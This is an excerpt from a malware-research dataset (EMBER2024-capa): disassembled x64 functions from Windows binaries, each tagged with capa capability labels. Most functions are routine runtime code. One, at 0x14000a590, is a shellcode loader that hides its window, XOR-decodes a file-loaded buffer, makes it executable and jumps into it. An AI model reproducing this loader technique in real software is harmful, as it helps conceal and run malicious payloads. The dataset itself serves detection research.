joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140132540
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14013256d
xor al, al
jmp 0x1401326cf
mov rax, qword [0x1401526c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1401526c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1401526d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1401526d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x1401526e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1401526e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x1401526f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x1401526f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x140152700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x1401326c1
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x140132619
mov r11d, 2
jmp 0x14013263d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x140132633
mov r11d, 1
jmp 0x14013263d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x1401326e5
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x140132682
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14013269a
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x1401326aa
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x1401326b8
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x140132600
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x1401326ca
Function at 0x1400097a0
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
test r8, r8
jle 0x140009836
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0x68], 0
je 0x14000983d
mov r15, rsi
jmp 0x1400097fb
cmp r15, r14
cmovb r14, r15
mov rcx, rdi
mov r8, r14
call fcn.140013cd0
add rdi, r14
sub r15, r14
mov rax, qword [rbx + 0x50]
sub dword [rax], r14d
mov rax, qword [rbx + 0x38]
add qword [rax], r14
test r15, r15
jle 0x14000982e
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x140009813
mov rax, qword [rbx + 0x50]
mov r14d, dword [rax]
test r14d, r14d
jg 0x1400097d0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x14000982e
mov byte [rdi], al
inc rdi
dec r15
test r15, r15
jg 0x1400097fb
sub rsi, r15
jmp 0x14000992a
xor esi, esi
jmp 0x14000992a
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x140009890
mov rax, qword [rbx + 0x50]
movsxd r15, dword [rax]
test r15, r15
je 0x140009890
cmp r15, rsi
cmovae r15, rsi
mov rcx, rdi
mov r8, r15
call fcn.140013cd0
add rdi, r15
mov r14, rsi
sub r14, r15
mov rax, qword [rbx + 0x50]
sub dword [rax], r15d
mov rax, qword [rbx + 0x38]
movsxd rcx, r15d
add qword [rax], rcx
cmp qword [rbx + 0x80], 0
jne 0x1400098a1
jmp 0x140009927
mov r14, rsi
cmp qword [rbx + 0x80], 0
je 0x140009927
mov rax, qword [rbx + 0x18]
lea rcx, [rbx + 0x70]
cmp qword [rax], rcx
jne 0x1400098d0
mov ecx, dword [rbx + 0x90]
mov rdx, qword [rbx + 0x88]
mov qword [rax], rdx
mov rax, qword [rbx + 0x38]
mov qword [rax], rdx
sub ecx, edx
mov rax, qword [rbx + 0x50]
mov dword [rax], ecx
nop dword [rax]
cmp r14, 0x1000
jb 0x140009903
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rdi
call fcn.14001b904
add rdi, rax
sub r14, rax
cmp rax, 0xfff
je 0x1400098d0
jmp 0x140009927
test r14, r14
je 0x140009924
mov r9, qword [rbx + 0x80]
mov edx, 1
mov rcx, rdi
mov r8, r14
call fcn.14001b904
sub r14, rax
jmp 0x140009927
xor r14d, r14d
sub rsi, r14
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140011ca4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140011cee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140011cee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140011cee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140011cee
cmp dword [rcx + 0x84], 0xe
jbe 0x140011cee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140011cf0
xor al, al
add rsp, 0x28
ret

Function at 0x140017444
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001758c
Function at 0x14002838c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140021c94
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14002842d
cmp ebx, dword [rsp + 0x30]
je 0x140028426
test esi, esi
je 0x140028426
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140028401
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14002840e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400283eb
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140028412
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14002842f
mov eax, 1
jmp 0x14002842f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140029964
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400102d0
sub rsp, rax
mov rax, qword [0x1400467d8]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140025854
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400299b3
mov rax, rbp
jmp 0x140029abb
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x48b30]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140029694
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x48b30]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140029ab7
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140029ab7
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140029694
test rax, rax
js 0x140029ab7
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140029ab7
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140029aa9
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140029aa9
cmp byte [rcx], 0xd
jne 0x140029a8f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140029a9e
cmp byte [rcx + 1], 0xa
jne 0x140029a9e
inc rcx
jmp 0x140029a9e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x470e0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140029a71
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140029abb
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140012260
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002a3a0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14002a3d0
xor eax, eax
jmp 0x14002a493
mov rbp, rbx
cmp word [rax], si
je 0x14002a3f5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14002a3dc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14002a3d8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14002a2c0
movsxd r14, eax
test eax, eax
jne 0x14002a433
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14002a3c9
mov rcx, r14
call fcn.1400243a8
mov rdi, rax
test rax, rax
jne 0x14002a44c
xor ecx, ecx
call fcn.140021358
jmp 0x14002a428
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14002a2c0
test eax, eax
jne 0x14002a47d
mov rcx, rdi
call fcn.140021358
jmp 0x14002a487
xor ecx, ecx
call fcn.140021358
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14002c1d4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14002c1ea
mov al, 1
jmp 0x14002c24a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14002c1fb
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14002c248
mov ecx, dword [rcx + 0x18]
nop
call fcn.14002a9a8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14002c248
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14002c248
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14002c248
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14002c24a
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14002cb80
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140048b30]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14002cbd7
cmp word [rdx], r13w
jne 0x14002cbd7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14002cbdc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14002cd01
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14002cd22
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14002cc15
mov rdx, r9
mov word [rbx], cx
jmp 0x14002cc3c
cmp r9, r8
jae 0x14002cc4c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14002cbf6
jmp 0x14002cd01
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002ccf6
cmp dword [rsp + 0x80], esi
je 0x14002ccf6
lea r8, [0x140048b30]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14002ccce
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14002cc9e
mov word [rbx], r13w
jmp 0x14002ccfe
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14002ccab
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14002ccfe
cmp word [rsp + 0x70], r13w
jne 0x14002ccdb
cmp rbx, r14
je 0x14002cc98
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400295f0
cmp word [rsp + 0x70], r13w
je 0x14002cd01
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140048b30]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14002ccfb
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14002cd01
Function at 0x14000a590
Capabilities:
Encode data using xor
Get common file path
Read file on windows

Disassembly:
push rdi
sub rsp, 0x250
mov rax, qword [0x140001098]
xor rax, rsp
mov qword [rsp + 0x240], rax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rdx, [0x140009c10]
lea rcx, [0x140009c18]
call fcn.14000ecf4
mov rdi, rax
test rax, rax
jne 0x14000a5fb
lea rcx, [0x140009c20]
call fcn.14000a530
lea eax, [rdi - 1]
jmp 0x14000a70c
xor edx, edx
mov qword [rsp + 0x260], rbx
mov rcx, rdi
lea r8d, [rdx + 2]
call fcn.14000f0f8
mov rcx, rdi
call fcn.14000eba0
mov edx, eax
lea rcx, [0x140009c40]
call fcn.14000a530
mov rcx, rdi
call fcn.14001126c
mov ecx, 0x40e00
call fcn.140011620
lea rcx, [0x140009c58]
mov rbx, rax
call fcn.14000a530
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x40e00
mov rcx, rbx
call fcn.14000b830
mov r9, rdi
mov edx, 0x40e00
mov r8d, 1
mov rcx, rbx
call fcn.140011558
lea rcx, [0x140009c70]
call fcn.14000a530
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
nop dword [rax]
nop word [rax + rax]
movsxd rcx, eax
lock xor byte [rcx + rbx], 0x45
inc eax
cmp eax, 0x40e00
jb 0x14000a6a0
lea rcx, [0x140009c88]
call fcn.14000a530
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x20]
mov dword [rsp + 0x20], 0
mov edx, 0x40e00
mov r8d, 0x10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [0x140009ca0]
call fcn.14000a530
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov rbx, qword [rsp + 0x260]
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000a740
add rsp, 0x250
pop rdi
ret

Function at 0x14000b134
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000b17e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000b17e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000b17e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000b17e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000b17e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000b180
xor al, al
add rsp, 0x28
ret
Function at 0x14000e954
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400216e0
sub rsp, rax
mov rax, qword [0x140001098]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001315c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14000e9a3
mov rax, rbp
jmp 0x14000eaab
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x23d10]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140013620
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x23d10]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14000eaa7
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000eaa7
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140013620
test rax, rax
js 0x14000eaa7
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14000eaa7
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14000ea99
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14000ea99
cmp byte [rcx], 0xd
jne 0x14000ea7f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14000ea8e
cmp byte [rcx + 1], 0xa
jne 0x14000ea8e
inc rcx
jmp 0x14000ea8e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x1360]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14000ea61
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14000eaab
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000a740
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140012344
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140012134
Function at 0x140013da4
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x140023d10]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x140013e02
cmp word [rdx], r12w
jne 0x140013e02
or byte [rax + r8*8 + 0x38], cl
jmp 0x140013e08
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x140013f63
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x140013f3e
lea r9, [rcx + 2]
cmp ax, r13w
je 0x140013e41
mov rcx, r9
jmp 0x140013e64
cmp r9, rdx
jae 0x140013e7b
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x140013e25
jmp 0x140013f63
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140013f38
cmp dword [rsp + 0x80], edi
je 0x140013f38
mov rdx, r14
lea r11, [0x140023d10]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x140013f11
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x140013ee4
mov word [rbx], r12w
jmp 0x140013f5f
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x140013eed
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x140013f5f
cmp word [rsp + 0x70], r12w
jne 0x140013f1e
cmp rbx, rsi
je 0x140013ede
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.140013628
cmp word [rsp + 0x70], r12w
je 0x140013f63
mov word [rbx], r13w
jmp 0x140013f5f
lea r11, [0x140023d10]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x140013f5b
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x140013f63
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140017174
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x1400171a6
call fcn.140014b00
mov dword [rax], 0x16
call fcn.1400130f4
jmp 0x1400172c5
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1400172c5
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1400172c5
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1400171d5
lock or dword [rcx + 0x14], 0x10
jmp 0x1400172c5
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1400171e9
call fcn.14001e13c
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.14001315c
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.140014250
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x1400172b3
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14001727e
mov rcx, rsi
call fcn.14001315c
cmp eax, edi
je 0x140017269
mov rcx, rsi
call fcn.14001315c
cmp eax, 0xfffffffe
je 0x140017269
mov rcx, rsi
call fcn.14001315c
movsxd rbx, eax
lea r14, [0x140023d10]
mov rcx, rsi
sar rbx, 6
call fcn.14001315c
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x140017270
lea rdx, [0x140001460]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14001727e
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x1400172a2
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x1400172a2
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x1400172a2
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x1400172c8
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x140018cc4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140018cf4
xor eax, eax
jmp 0x140018db7
mov rbp, rbx
cmp word [rax], si
je 0x140018d19
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140018d00
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140018cfc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140018c14
movsxd r14, eax
test eax, eax
jne 0x140018d57
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140018ced
mov rcx, r14
call fcn.140015a58
mov rdi, rax
test rax, rax
jne 0x140018d70
xor ecx, ecx
call fcn.140015058
jmp 0x140018d4c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140018c14
test eax, eax
jne 0x140018da1
mov rcx, rdi
call fcn.140015058
jmp 0x140018dab
xor ecx, ecx
call fcn.140015058
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret